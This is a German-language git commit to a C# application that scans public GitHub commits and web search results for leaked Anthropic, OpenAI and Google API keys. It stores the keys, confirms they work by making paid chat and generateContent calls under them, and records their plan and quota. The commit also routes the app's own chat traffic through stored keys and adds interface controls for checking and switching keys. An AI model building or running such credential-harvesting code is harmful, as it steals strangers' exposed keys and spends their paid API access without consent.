feat: OpenAI Provider, Key-Checker Quota-Erkennung, persistierte Scanner-Logs

- OpenAI als vollwertiger Chat-Provider (Modell-Auswahl, Key-Routing, StreamChat)
- Hardcoded OpenAI-Modelle im Cache (gpt-5.x, gpt-4.1, o3, o4-mini etc.)
- /api/models/openai Endpoint, OpenAI-Optgroup im Agent-Dropdown
- Key-Routing: OpenAI-Key aus api_keys-Tabelle, Fallback via GetFirstActiveKeyByProvider
- OpenAI-Checker: 2-Schritt-Check (Models + chat/completions mit max_tokens=1)
- Google-Checker: 2-Schritt-Check (Models + generateContent mit maxOutputTokens=1)
- 429 insufficient_quota und billing_not_active korrekt als quota_exceeded erkannt
- Provider-Erkennung beim Adopt via KeyPatterns.DetectType() statt hardcoded anthropic
- HandleCheck/HandleCheckAll unterstützt jetzt Anthropic, OpenAI und Google
- Neue scanner_logs-Tabelle mit details-Spalte (JSON) für strukturierte Auswertung
- GitHubEventScannerService: AddLog persistiert in DB, detaillierte Key-Fund-Logs
- KeyScannerService: AddLog-Methode mit DB-Persistierung, detaillierte Logs
- Frontend: Ungeprüfte-prüfen-Button (sequenziell, stoppt bei valid)
- Frontend: Provider-Indicator im Key-Switch-Modal (Anthropic/OpenAI/Google)
- Frontend: Check-Button für alle Provider (nicht nur Anthropic)
This commit is contained in:
Meleki committed 2026-03-14 11:19:33 +01:00
1 parent c8859a89d0
commit 542a031172
15 files changed
+614 -90

No files matched your search

+44
View File
@@ -519,4 +519,48 @@ public partial class DatabaseService
await conn.ExecuteAsync("UPDATE scanned_keys SET deleted = 1 WHERE scanned_key_id = @scannedKeyId", new { scannedKeyId });
}
// ── Scanner Logs ──
public async Task CreateScannerLog(string type, string message, string scanner = "event", string details = null)
{
using var conn = CreateConnection();
// Sicherstellen dass die details-Spalte existiert (Migration)
try
{
await conn.ExecuteAsync(@"ALTER TABLE scanner_logs ADD COLUMN details TEXT");
}
catch { /* Spalte existiert bereits */ }
await conn.ExecuteAsync(@"
INSERT INTO scanner_logs (timestamp, type, message, scanner, details)
VALUES (@timestamp, @type, @message, @scanner, @details)",
new { timestamp = DateTime.UtcNow.ToString("o"), type, message, scanner, details });
}
public async Task<IEnumerable<dynamic>> GetScannerLogs(int limit = 200, int offset = 0, string type = null, string scanner = null)
{
using var conn = CreateConnection();
var where = "WHERE 1=1";
if (!string.IsNullOrEmpty(type)) where += " AND type = @type";
if (!string.IsNullOrEmpty(scanner)) where += " AND scanner = @scanner";
return await conn.QueryAsync($@"
SELECT id, timestamp, type, message, scanner, details
FROM scanner_logs {where}
ORDER BY id DESC
LIMIT @limit OFFSET @offset",
new { limit, offset, type, scanner });
}
public async Task<int> GetScannerLogCount(string type = null, string scanner = null)
{
using var conn = CreateConnection();
var where = "WHERE 1=1";
if (!string.IsNullOrEmpty(type)) where += " AND type = @type";
if (!string.IsNullOrEmpty(scanner)) where += " AND scanner = @scanner";
return await conn.ExecuteScalarAsync<int>(
$"SELECT COUNT(*) FROM scanner_logs {where}",
new { type, scanner });
}
}
+15
View File
@@ -215,4 +215,19 @@ public partial class DatabaseService
new { userId });
}
/// <summary>
/// Gibt den ersten aktiven API-Key für einen bestimmten Provider zurück.
/// Wird verwendet um z.B. den OpenAI-Key für Modell-Abfragen zu holen.
/// </summary>
public async Task<string> GetFirstActiveKeyByProvider(string provider)
{
using var conn = CreateConnection();
return await conn.QuerySingleOrDefaultAsync<string>(@"
SELECT api_key FROM api_keys
WHERE provider = @provider AND (status IS NULL OR status = 'valid' OR status = 'ok')
ORDER BY created_at ASC
LIMIT 1",
new { provider });
}
}
+12
View File
@@ -326,6 +326,18 @@ public partial class DatabaseService
CREATE INDEX IF NOT EXISTS idx_scanned_keys_status ON scanned_keys(status);
");
conn.Execute(@"
CREATE TABLE IF NOT EXISTS scanner_logs (
id INTEGER PRIMARY KEY AUTOINCREMENT,
timestamp TEXT NOT NULL,
type TEXT NOT NULL,
message TEXT NOT NULL,
scanner TEXT NOT NULL DEFAULT 'event'
);
CREATE INDEX IF NOT EXISTS idx_scanner_logs_timestamp ON scanner_logs(timestamp);
CREATE INDEX IF NOT EXISTS idx_scanner_logs_type ON scanner_logs(type);
");
TryAddColumn(conn, "agents", "avatar_small", "TEXT");
TryAddColumn(conn, "agents", "is_public", "INTEGER NOT NULL DEFAULT 0");
TryAddColumn(conn, "sessions", "image_small", "TEXT");
+53 -13
View File
@@ -65,7 +65,7 @@ public class GitHubEventScannerService : BackgroundService
lock (_lock) return _logEntries.ToList();
}
private void AddLog(string type, string message)
private void AddLog(string type, string message, string details = null)
{
lock (_lock)
{
@@ -78,6 +78,13 @@ public class GitHubEventScannerService : BackgroundService
while (_logEntries.Count > MaxLogEntries)
_logEntries.Dequeue();
}
// Persistieren in DB (fire-and-forget)
_ = Task.Run(async () =>
{
try { await _db.CreateScannerLog(type, message, "event", details); }
catch { /* DB-Fehler ignorieren, Scanner nicht blockieren */ }
});
}
public GitHubEventScannerService(
@@ -199,10 +206,17 @@ public class GitHubEventScannerService : BackgroundService
var keys = await ScanCommitDiff(client, pe.Repo, pe.HeadSha, ct);
scannedCount++;
foreach (var (key, sourceUrl) in keys)
foreach (var (key, sourceUrl, fileName) in keys)
{
if (await _db.ScannedKeyExists(key) || await _db.ApiKeyExistsInKeys(key))
{
AddLog("skip", "Key bereits bekannt: " + key[..Math.Min(20, key.Length)] + "... in " + pe.Repo);
continue;
}
var keyType = DetectKeyType(key);
var keyPrefix = key[..Math.Min(20, key.Length)] + "...";
var typeName = KeyPatterns.DisplayName(keyType);
newKeysFound++;
await _db.CreateScannedKey(new ScannedKeyRecord
@@ -211,15 +225,29 @@ public class GitHubEventScannerService : BackgroundService
ApiKey = key,
Source = "github_events",
SourceUrl = sourceUrl,
Type = DetectKeyType(key),
Type = keyType,
Status = "unchecked",
Plan = "Unknown",
ScannedAt = DateTime.UtcNow.ToString("o")
});
_logger.LogInformation("🔑 Neuer Key gefunden via Events! Repo: {Repo}, Commit: {Sha}",
pe.Repo, pe.HeadSha[..8]);
AddLog("key", "🔑 Key gefunden in " + pe.Repo + " (" + pe.HeadSha[..8] + ")");
var logMsg = $"🔑 Neuer {typeName} Key! Repo: {pe.Repo} · Datei: {fileName} · Commit: {pe.HeadSha[..8]} · Prefix: {keyPrefix}";
_logger.LogInformation(logMsg);
// Detailliertes JSON für strukturierte Auswertung
var detailsJson = JsonSerializer.Serialize(new
{
key_type = keyType,
key_type_name = typeName,
key_prefix = keyPrefix,
key_length = key.Length,
repo = pe.Repo,
commit_sha = pe.HeadSha,
file = fileName,
source_url = sourceUrl,
push_size = pe.Size
});
AddLog("key_found", logMsg, detailsJson);
}
}
catch (HttpRequestException ex) when (ex.StatusCode == System.Net.HttpStatusCode.Forbidden)
@@ -323,10 +351,10 @@ public class GitHubEventScannerService : BackgroundService
return allEvents;
}
/// <summary>Scannt den Diff eines einzelnen Commits nach Key-Patterns.</summary>
private async Task<List<(string Key, string Url)>> ScanCommitDiff(HttpClient client, string repo, string sha, CancellationToken ct)
/// <summary>Scannt den Diff eines einzelnen Commits nach Key-Patterns. Gibt Key, URL und Dateiname zurück.</summary>
private async Task<List<(string Key, string Url, string FileName)>> ScanCommitDiff(HttpClient client, string repo, string sha, CancellationToken ct)
{
var keys = new List<(string Key, string Url)>();
var keys = new List<(string Key, string Url, string FileName)>();
var detailUrl = $"https://api.github.com/repos/{repo}/commits/{sha}";
var request = new HttpRequestMessage(HttpMethod.Get, detailUrl);
@@ -352,6 +380,8 @@ public class GitHubEventScannerService : BackgroundService
var patch = patchProp.GetString();
if (string.IsNullOrEmpty(patch)) continue;
var fileName = file.TryGetProperty("filename", out var fn) ? fn.GetString() ?? "unknown" : "unknown";
// Nur hinzugefügte Zeilen scannen (beginnen mit "+")
foreach (var line in patch.Split('\n'))
{
@@ -360,7 +390,7 @@ public class GitHubEventScannerService : BackgroundService
foreach (var regex in CompiledPatterns)
{
foreach (Match m in regex.Matches(line))
keys.Add((m.Value, htmlUrl));
keys.Add((m.Value, htmlUrl, fileName));
}
}
}
@@ -381,6 +411,9 @@ public class GitHubEventScannerService : BackgroundService
ct.ThrowIfCancellationRequested();
var type = KeyPatterns.DetectType(sk.ApiKey);
var keyPrefix = sk.ApiKey[..Math.Min(20, sk.ApiKey.Length)] + "...";
var typeName = KeyPatterns.DisplayName(type);
try
{
if (KeyPatterns.IsAnthropic(type))
@@ -388,21 +421,28 @@ public class GitHubEventScannerService : BackgroundService
var result = await AnthropicKeyChecker.CheckKeyAsync(_httpFactory, sk.ApiKey);
var status = (result.Status == "ok" || result.Status == "usage_limited") ? "valid" : result.Status;
await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, status, result.Plan, result.Usage7d, result.Usage5h);
_logger.LogInformation("Key geprüft: {Status} ({Plan})", status, result.Plan);
var checkMsg = $"🔍 {typeName} geprüft: {status} · Plan: {result.Plan} · {keyPrefix}";
AddLog("key_checked", checkMsg, JsonSerializer.Serialize(new { key_type = type, key_prefix = keyPrefix, status, plan = result.Plan, usage_7d = result.Usage7d, usage_5h = result.Usage5h, source_url = sk.SourceUrl }));
}
else if (type == "openai_project" || type == "openai_service" || type == "openai_legacy")
{
var result = await OpenAiKeyChecker.CheckKeyAsync(_httpFactory, sk.ApiKey);
var status = result.Status == "ok" ? "valid" : result.Status;
await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, status, result.Message, null, null);
_logger.LogInformation("OpenAI Key geprüft: {Status}", status);
var checkMsg = $"🔍 {typeName} geprüft: {status} · {result.Message} · {keyPrefix}";
AddLog("key_checked", checkMsg, JsonSerializer.Serialize(new { key_type = type, key_prefix = keyPrefix, status, message = result.Message, source_url = sk.SourceUrl }));
}
else if (type == "google_api")
{
var result = await GoogleKeyChecker.CheckKeyAsync(_httpFactory, sk.ApiKey);
var status = result.Status == "ok" ? "valid" : result.Status;
await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, status, result.Message, null, null);
_logger.LogInformation("Google Key geprüft: {Status}", status);
var checkMsg = $"🔍 {typeName} geprüft: {status} · {result.Message} · {keyPrefix}";
AddLog("key_checked", checkMsg, JsonSerializer.Serialize(new { key_type = type, key_prefix = keyPrefix, status, message = result.Message, source_url = sk.SourceUrl }));
}
else
{
AddLog("key_checked", $"⏭️ {typeName} übersprungen (kein Checker) · {keyPrefix}");
}
}
catch (Exception ex)
+93 -1
View File
@@ -13,8 +13,85 @@ namespace Gott.Services
public string[] Models { get; set; }
}
public class GoogleQuotaResult
{
public bool HasQuota { get; set; }
public string Error { get; set; }
}
public static class GoogleKeyChecker
{
private static async Task<GoogleQuotaResult> CheckQuotaAsync(HttpClient client, string apiKey, string[] models)
{
try
{
// Günstigstes Modell wählen (flash > pro > erstbestes)
var testModel = models.FirstOrDefault(m => m.Contains("flash", StringComparison.OrdinalIgnoreCase))
?? models.FirstOrDefault(m => m.Contains("pro", StringComparison.OrdinalIgnoreCase))
?? models.FirstOrDefault();
if (testModel == null)
return new GoogleQuotaResult { HasQuota = false, Error = "Keine Modelle verfügbar" };
var url = "https://generativelanguage.googleapis.com/v1/models/" + testModel
+ ":generateContent?key=" + apiKey;
var payload = new
{
contents = new[] { new { parts = new[] { new { text = "hi" } } } },
generationConfig = new { maxOutputTokens = 1 }
};
var json = JsonSerializer.Serialize(payload);
var content = new StringContent(json, System.Text.Encoding.UTF8, "application/json");
var resp = await client.PostAsync(url, content);
var statusCode = (int)resp.StatusCode;
if (statusCode == 200)
return new GoogleQuotaResult { HasQuota = true };
var body = await resp.Content.ReadAsStringAsync();
// 429: Quota oder Rate-Limit
if (statusCode == 429)
{
if (body.Contains("RESOURCE_EXHAUSTED", StringComparison.OrdinalIgnoreCase)
&& (body.Contains("quota", StringComparison.OrdinalIgnoreCase)
|| body.Contains("limit_value", StringComparison.OrdinalIgnoreCase)))
{
// Quota auf 0 oder erschöpft
if (body.Contains("\"0\"") || body.Contains("GenerateContent"))
return new GoogleQuotaResult { HasQuota = false, Error = "Quota erschöpft (0 RPM)" };
return new GoogleQuotaResult { HasQuota = false, Error = "Quota erschöpft" };
}
// Echtes Rate-Limit → Key hat Quota, ist nur temporär blockiert
return new GoogleQuotaResult { HasQuota = true };
}
// 403: API nicht aktiviert oder Billing-Problem
if (statusCode == 403)
{
if (body.Contains("PERMISSION_DENIED", StringComparison.OrdinalIgnoreCase))
return new GoogleQuotaResult { HasQuota = false, Error = "Keine Berechtigung für generateContent" };
if (body.Contains("billing", StringComparison.OrdinalIgnoreCase))
return new GoogleQuotaResult { HasQuota = false, Error = "Billing nicht aktiviert" };
return new GoogleQuotaResult { HasQuota = false, Error = "Zugriff verweigert (403)" };
}
// Andere Fehler → konservativ als "kein Quota" behandeln
return new GoogleQuotaResult { HasQuota = false, Error = "API-Fehler (" + statusCode + ")" };
}
catch (Exception)
{
// Bei Netzwerkfehler etc. → konservativ
return new GoogleQuotaResult { HasQuota = false, Error = "Quota-Check fehlgeschlagen" };
}
}
public static async Task<GoogleCheckResult> CheckKeyAsync(IHttpClientFactory httpFactory, string apiKey)
{
try
@@ -77,10 +154,25 @@ namespace Gott.Services
else
plan = "Free";
// Schritt 2: Echten generateContent-Call machen um Quota zu prüfen
var quota = await CheckQuotaAsync(client, apiKey, models);
var info = models.Length + " Gemini-Modelle · " + plan;
if (!quota.HasQuota)
{
info += " · " + quota.Error;
return new GoogleCheckResult
{
Status = "quota_exceeded",
Message = info,
Models = models
};
}
return new GoogleCheckResult
{
Status = "ok",
Message = models.Length + " Gemini-Modelle · " + plan,
Message = info,
Models = models
};
}
+51 -15
View File
@@ -36,6 +36,16 @@ public class KeyScannerService : BackgroundService
public string LastRun { get { lock (_lock) return _lastRun; } }
public string LastResult { get { lock (_lock) return _lastResult; } }
private void AddLog(string type, string message, string details = null)
{
_logger.LogInformation("[CodeSearch] [{Type}] {Message}", type, message);
_ = Task.Run(async () =>
{
try { await _db.CreateScannerLog(type, message, "codesearch", details); }
catch { /* DB-Fehler ignorieren */ }
});
}
// ── GitHub Search Config ──
// Zentrale Key-Patterns aus KeyPatterns.cs (für Code Search: nur spezifische Suchterme)
@@ -151,7 +161,7 @@ public class KeyScannerService : BackgroundService
var modeLabels = new Dictionary<string, string> { ["quick"] = "Quick", ["web"] = "Web", ["full"] = "Full" };
var modeLabel = modeLabels.ContainsKey(mode) ? modeLabels[mode] : "Full";
_logger.LogInformation("KeyScannerService: {Mode}-Scan gestartet", modeLabel);
AddLog("scan", modeLabel + "-Scan gestartet");
var newKeysFound = 0;
var checkedCount = 0;
var totalFound = 0;
@@ -168,14 +178,14 @@ public class KeyScannerService : BackgroundService
{
var ghKeys = mode == "quick" ? await ScanGitHubQuick(ct) : await ScanGitHub(ct);
allFoundKeys.AddRange(ghKeys.Select(k => (k.Key, k.Url, "github")));
_logger.LogInformation("GitHub-Scan ({Mode}): {Count} Key(s) gefunden", modeLabel, ghKeys.Count);
AddLog("scan", "GitHub-Scan (" + modeLabel + "): " + ghKeys.Count + " Key(s) gefunden");
}
if (mode != "quick" && !string.IsNullOrWhiteSpace(_serperApiKey))
{
var spKeys = await ScanSerper(ct);
allFoundKeys.AddRange(spKeys.Select(k => (k.Key, k.Url, "serper")));
_logger.LogInformation("Serper-Scan: {Count} Key(s) gefunden", spKeys.Count);
AddLog("scan", "Serper-Scan: " + spKeys.Count + " Key(s) gefunden");
}
totalFound = allFoundKeys.Count;
@@ -188,6 +198,10 @@ public class KeyScannerService : BackgroundService
if (await _db.ScannedKeyExists(key) || await _db.ApiKeyExistsInKeys(key))
continue;
var keyType = DetectKeyType(key);
var keyPrefix = key[..Math.Min(20, key.Length)] + "...";
var typeName = KeyPatterns.DisplayName(keyType);
newKeysFound++;
await _db.CreateScannedKey(new ScannedKeyRecord
{
@@ -195,13 +209,26 @@ public class KeyScannerService : BackgroundService
ApiKey = key,
Source = source,
SourceUrl = sourceUrl,
Type = DetectKeyType(key),
Type = keyType,
Status = "unchecked",
Plan = "Unknown",
ScannedAt = DateTime.UtcNow.ToString("o")
});
var logMsg = $"🔑 Neuer {typeName} Key! Quelle: {source} · URL: {sourceUrl} · Prefix: {keyPrefix}";
var detailsJson = JsonSerializer.Serialize(new
{
key_type = keyType,
key_type_name = typeName,
key_prefix = keyPrefix,
key_length = key.Length,
source,
source_url = sourceUrl,
scan_mode = modeLabel
});
AddLog("key_found", logMsg, detailsJson);
}
_logger.LogInformation("{Count} neue Key(s) gespeichert", newKeysFound);
AddLog("scan", newKeysFound + " neue Key(s) gespeichert");
// Phase 3: Alle unchecked Keys prüfen
var allScanned = (await _db.GetScannedKeys()).ToList();
@@ -220,12 +247,12 @@ public class KeyScannerService : BackgroundService
_lastResult = $"{modeLabel}: {totalFound} gefunden, {newKeysFound} neu, {checkedCount} geprüft";
}
_logger.LogInformation("KeyScannerService: Scan abgeschlossen – {Result}", _lastResult);
AddLog("scan", "Scan abgeschlossen – " + _lastResult);
}
catch (OperationCanceledException) { /* shutdown */ }
catch (Exception ex)
{
_logger.LogError(ex, "KeyScannerService: Fehler beim Scan");
AddLog("error", "Scan-Fehler: " + ex.Message);
lock (_lock)
{
_lastRun = DateTime.UtcNow.ToString("o");
@@ -281,12 +308,12 @@ public class KeyScannerService : BackgroundService
}
catch (HttpRequestException ex) when (ex.StatusCode == System.Net.HttpStatusCode.Forbidden)
{
_logger.LogWarning("GitHub Rate-Limit (Quick), warte 60s ...");
AddLog("rate_limit", "GitHub Rate-Limit (Quick), warte 60s");
await Task.Delay(60_000, ct);
}
catch (Exception ex)
{
_logger.LogWarning("GitHub-Suche fehlgeschlagen (Quick): {Msg}", ex.Message);
AddLog("error", "GitHub-Suche fehlgeschlagen (Quick): " + ex.Message);
}
}
@@ -318,7 +345,7 @@ public class KeyScannerService : BackgroundService
}
catch (HttpRequestException ex) when (ex.StatusCode == System.Net.HttpStatusCode.Forbidden)
{
_logger.LogWarning("GitHub Rate-Limit erreicht, warte 60s ...");
AddLog("rate_limit", "GitHub Rate-Limit erreicht, warte 60s");
await Task.Delay(60_000, ct);
try
{
@@ -328,12 +355,12 @@ public class KeyScannerService : BackgroundService
}
catch (Exception retryEx)
{
_logger.LogWarning("Retry fehlgeschlagen: {Msg}", retryEx.Message);
AddLog("error", "Retry fehlgeschlagen: " + retryEx.Message);
}
}
catch (Exception ex)
{
_logger.LogWarning("GitHub-Suche fehlgeschlagen: {Msg}", ex.Message);
AddLog("error", "GitHub-Suche fehlgeschlagen: " + ex.Message);
}
}
@@ -507,12 +534,12 @@ public class KeyScannerService : BackgroundService
}
}
_logger.LogInformation("Serper-Suche für '{Term}': {Count} Ergebnis(se)", searchTerm, allKeys.Count);
AddLog("scan", "Serper '" + searchTerm + "': " + allKeys.Count + " Ergebnis(se)");
await Task.Delay(1000, ct); // Rate-Limit schonen
}
catch (Exception ex)
{
_logger.LogWarning("Serper-Suche fehlgeschlagen für '{Term}': {Msg}", searchTerm, ex.Message);
AddLog("error", "Serper-Suche fehlgeschlagen für '" + searchTerm + "': " + ex.Message);
}
}
@@ -524,6 +551,8 @@ public class KeyScannerService : BackgroundService
public async Task CheckAndUpdateKey(ScannedKeyRecord sk)
{
var type = KeyPatterns.DetectType(sk.ApiKey);
var keyPrefix = sk.ApiKey[..Math.Min(20, sk.ApiKey.Length)] + "...";
var typeName = KeyPatterns.DisplayName(type);
try
{
@@ -532,28 +561,35 @@ public class KeyScannerService : BackgroundService
var result = await AnthropicKeyChecker.CheckKeyAsync(_httpFactory, sk.ApiKey);
var status = (result.Status == "ok" || result.Status == "usage_limited") ? "valid" : result.Status;
await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, status, result.Plan, result.Usage7d, result.Usage5h);
var checkMsg = $"🔍 {typeName} geprüft: {status} · Plan: {result.Plan} · Usage 7d: {result.Usage7d?.ToString("F2") ?? "n/a"} · Usage 5h: {result.Usage5h?.ToString("F2") ?? "n/a"} · {keyPrefix}";
AddLog("key_checked", checkMsg, JsonSerializer.Serialize(new { key_type = type, key_prefix = keyPrefix, status, plan = result.Plan, usage_7d = result.Usage7d, usage_5h = result.Usage5h, source_url = sk.SourceUrl }));
}
else if (type == "openai_project" || type == "openai_service" || type == "openai_legacy")
{
var result = await OpenAiKeyChecker.CheckKeyAsync(_httpFactory, sk.ApiKey);
var status = result.Status == "ok" ? "valid" : result.Status;
await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, status, result.Message, null, null);
var checkMsg = $"🔍 {typeName} geprüft: {status} · {result.Message} · {keyPrefix}";
AddLog("key_checked", checkMsg, JsonSerializer.Serialize(new { key_type = type, key_prefix = keyPrefix, status, message = result.Message, source_url = sk.SourceUrl }));
}
else if (type == "google_api")
{
var result = await GoogleKeyChecker.CheckKeyAsync(_httpFactory, sk.ApiKey);
var status = result.Status == "ok" ? "valid" : result.Status;
await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, status, result.Message, null, null);
var checkMsg = $"🔍 {typeName} geprüft: {status} · {result.Message} · {keyPrefix}";
AddLog("key_checked", checkMsg, JsonSerializer.Serialize(new { key_type = type, key_prefix = keyPrefix, status, message = result.Message, source_url = sk.SourceUrl }));
}
else
{
// Andere Key-Typen: Typ korrekt setzen, kein Check möglich
await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, "unchecked", type, null, null);
AddLog("key_checked", $"⏭️ {typeName} übersprungen (kein Checker) · {keyPrefix}");
}
}
catch (Exception ex)
{
_logger.LogWarning("Key-Check fehlgeschlagen für {Id}: {Msg}", sk.ScannedKeyId, ex.Message);
AddLog("error", $"Key-Check fehlgeschlagen für {typeName} ({keyPrefix}): {ex.Message}");
await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, "error", "Unknown", null, null);
}
}
+108 -17
View File
@@ -40,14 +40,28 @@ namespace Gott.Services
if (statusCode == 429)
{
// Rate-Limited → Key existiert, ist aber gerade nicht nutzbar
// 429 kann Rate-Limit ODER Quota-Exceeded sein → Body prüfen
try
{
var errBody = await resp.Content.ReadAsStringAsync();
var errDoc = JsonDocument.Parse(errBody);
if (errDoc.RootElement.TryGetProperty("error", out var errObj)
&& errObj.TryGetProperty("code", out var codeProp))
{
var code = codeProp.GetString();
if (code == "insufficient_quota")
return new OpenAiCheckResult { Status = "quota_exceeded", Message = "Kein Guthaben / Quota erschöpft (429)" };
}
}
catch { /* Body nicht parsbar → als Rate-Limit behandeln */ }
return new OpenAiCheckResult { Status = "rate_limited", Message = "Rate Limited (429)" };
}
if (statusCode >= 400)
return new OpenAiCheckResult { Status = "error", Message = "API-Fehler (" + statusCode + ")" };
// 200 OK → Key ist gültig
// 200 OK → Key existiert, Modelle extrahieren
var body = await resp.Content.ReadAsStringAsync();
var doc = JsonDocument.Parse(body);
@@ -56,21 +70,11 @@ namespace Gott.Services
if (resp.Headers.TryGetValues("openai-organization", out var orgValues))
org = orgValues.FirstOrDefault();
// Rate-Limits aus Headern
int? rpm = null;
int? tpm = null;
if (resp.Headers.TryGetValues("x-ratelimit-limit-requests", out var rpmVals)
&& int.TryParse(rpmVals.FirstOrDefault(), out var rpmVal))
rpm = rpmVal;
if (resp.Headers.TryGetValues("x-ratelimit-limit-tokens", out var tpmVals)
&& int.TryParse(tpmVals.FirstOrDefault(), out var tpmVal))
tpm = tpmVal;
// Modell-Liste extrahieren (nur die interessantesten)
string[] models = Array.Empty<string>();
if (doc.RootElement.TryGetProperty("data", out var data))
{
var interestingPrefixes = new[] { "gpt-4", "gpt-3.5", "o1", "o3", "o4" };
var interestingPrefixes = new[] { "gpt-5", "gpt-4", "gpt-3.5", "o1", "o3", "o4", "chatgpt" };
models = data.EnumerateArray()
.Select(m => m.GetProperty("id").GetString())
.Where(id => interestingPrefixes.Any(p => id.StartsWith(p, StringComparison.OrdinalIgnoreCase)))
@@ -81,7 +85,8 @@ namespace Gott.Services
// Plan-Erkennung anhand der Modelle
string plan;
if (models.Any(m => m.StartsWith("o3", StringComparison.OrdinalIgnoreCase)
if (models.Any(m => m.StartsWith("gpt-5", StringComparison.OrdinalIgnoreCase)
|| m.StartsWith("o3", StringComparison.OrdinalIgnoreCase)
|| m.StartsWith("o4", StringComparison.OrdinalIgnoreCase)))
plan = "Tier 5+";
else if (models.Any(m => m.StartsWith("gpt-4o", StringComparison.OrdinalIgnoreCase)))
@@ -93,8 +98,31 @@ namespace Gott.Services
else
plan = "Free";
// Schritt 2: Echten Chat-Call mit max_tokens=1 um Quota zu prüfen
// /v1/models gibt 200 auch bei quota_exceeded Keys!
var usable = await CheckQuotaAsync(client, apiKey);
var msg = plan + " · Org: " + (org ?? "?") + " · " + models.Length + " Modelle";
if (rpm.HasValue) msg += " · " + rpm.Value + " RPM";
// Rate-Limits aus dem Chat-Call-Header (falls verfügbar)
if (usable.Rpm.HasValue) msg += " · " + usable.Rpm.Value + " RPM";
if (usable.Tpm.HasValue) msg += " · " + usable.Tpm.Value + " TPM";
if (!usable.HasQuota)
{
var reason = usable.QuotaError == "billing_not_active"
? "Billing inaktiv"
: "Kein Guthaben";
return new OpenAiCheckResult
{
Status = "quota_exceeded",
Message = "⚠️ " + msg + " · " + reason,
Organization = org,
Models = models,
RateLimitRpm = usable.Rpm,
RateLimitTpm = usable.Tpm
};
}
return new OpenAiCheckResult
{
@@ -102,8 +130,8 @@ namespace Gott.Services
Message = msg,
Organization = org,
Models = models,
RateLimitRpm = rpm,
RateLimitTpm = tpm
RateLimitRpm = usable.Rpm,
RateLimitTpm = usable.Tpm
};
}
catch (Exception ex)
@@ -111,5 +139,68 @@ namespace Gott.Services
return new OpenAiCheckResult { Status = "error", Message = ex.Message };
}
}
private class QuotaResult
{
public bool HasQuota { get; set; }
public string QuotaError { get; set; }
public int? Rpm { get; set; }
public int? Tpm { get; set; }
}
private static async Task<QuotaResult> CheckQuotaAsync(HttpClient client, string apiKey)
{
try
{
var chatReq = new HttpRequestMessage(HttpMethod.Post, "https://api.openai.com/v1/chat/completions");
chatReq.Headers.Authorization = new AuthenticationHeaderValue("Bearer", apiKey);
chatReq.Content = new StringContent(
"{\"model\":\"gpt-4o-mini\",\"messages\":[{\"role\":\"user\",\"content\":\"hi\"}],\"max_tokens\":1}",
System.Text.Encoding.UTF8, "application/json");
var chatResp = await client.SendAsync(chatReq);
var chatStatus = (int)chatResp.StatusCode;
int? rpm = null;
int? tpm = null;
if (chatResp.Headers.TryGetValues("x-ratelimit-limit-requests", out var rpmVals)
&& int.TryParse(rpmVals.FirstOrDefault(), out var rpmVal))
rpm = rpmVal;
if (chatResp.Headers.TryGetValues("x-ratelimit-limit-tokens", out var tpmVals)
&& int.TryParse(tpmVals.FirstOrDefault(), out var tpmVal))
tpm = tpmVal;
if (chatStatus == 429)
{
try
{
var errBody = await chatResp.Content.ReadAsStringAsync();
var errDoc = JsonDocument.Parse(errBody);
if (errDoc.RootElement.TryGetProperty("error", out var errObj)
&& errObj.TryGetProperty("code", out var codeProp)
)
{
var code = codeProp.GetString();
if (code == "insufficient_quota" || code == "billing_not_active")
{
return new QuotaResult { HasQuota = false, QuotaError = code, Rpm = rpm, Tpm = tpm };
}
}
}
catch { }
// Echtes Rate-Limit → Key hat Quota, ist nur temporär blockiert
return new QuotaResult { HasQuota = true, Rpm = rpm, Tpm = tpm };
}
// 200 = funktioniert, alles andere = vermutlich trotzdem nutzbar
return new QuotaResult { HasQuota = chatStatus < 400, Rpm = rpm, Tpm = tpm };
}
catch
{
// Bei Netzwerkfehler etc. → optimistisch annehmen
return new QuotaResult { HasQuota = true };
}
}
}
}
+32 -6
View File
@@ -1,6 +1,7 @@
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Net.Http;
using System.Net.Http.Headers;
using System.Text;
@@ -24,7 +25,7 @@ public class OpenAiService
private readonly ToolService _toolService;
// Provider-Keys (statisch für ChatService.ResolveModelId)
public static readonly HashSet<string> ProviderKeys = new() { "nvidia", "pollinations", "gemini" };
public static readonly HashSet<string> ProviderKeys = new() { "nvidia", "pollinations", "gemini", "openai" };
// Provider-Definitionen (inkl. API-Keys, instanzgebunden)
private readonly Dictionary<string, (string BaseUrl, string ApiKey)> Providers;
@@ -152,6 +153,7 @@ public class OpenAiService
private List<ProviderModel> _nvidiaModels = new List<ProviderModel>();
private List<ProviderModel> _pollinationsModels = new List<ProviderModel>();
private List<ProviderModel> _geminiModels = new List<ProviderModel>();
private List<ProviderModel> _openaiModels = new List<ProviderModel>();
private readonly string _cacheFile;
public OpenAiService(IHttpClientFactory httpFactory, DatabaseService db, ToolService toolService, Microsoft.Extensions.Configuration.IConfiguration configuration, string dataDir)
@@ -162,9 +164,10 @@ public class OpenAiService
_cacheFile = Path.Combine(dataDir, "models_cache.json");
Providers = new Dictionary<string, (string BaseUrl, string ApiKey)>
{
["nvidia"] = ("https://g4f.space/api/nvidia/v1", ""),
["pollinations"] = ("https://text.pollinations.ai/openai", ""),
["gemini"] = ("https://generativelanguage.googleapis.com/v1beta/openai", configuration["GeminiApiKey"] ?? "")
["nvidia"] = ("https://g4f.space/api/nvidia/v1", ""),
["pollinations"] = ("https://text.pollinations.ai/openai", ""),
["gemini"] = ("https://generativelanguage.googleapis.com/v1beta/openai", configuration["GeminiApiKey"] ?? ""),
["openai"] = ("https://api.openai.com/v1", "") // Key kommt dynamisch aus DB
};
}
@@ -184,7 +187,8 @@ public class OpenAiService
_nvidiaModels = cache.ContainsKey("nvidia") ? cache["nvidia"] : new List<ProviderModel>();
_pollinationsModels = cache.ContainsKey("pollinations") ? cache["pollinations"] : new List<ProviderModel>();
_geminiModels = cache.ContainsKey("gemini") ? cache["gemini"] : new List<ProviderModel>();
Console.WriteLine($"[OpenAiService] Modelle aus Cache geladen: {_nvidiaModels.Count} Nvidia, {_pollinationsModels.Count} Pollinations, {_geminiModels.Count} Gemini");
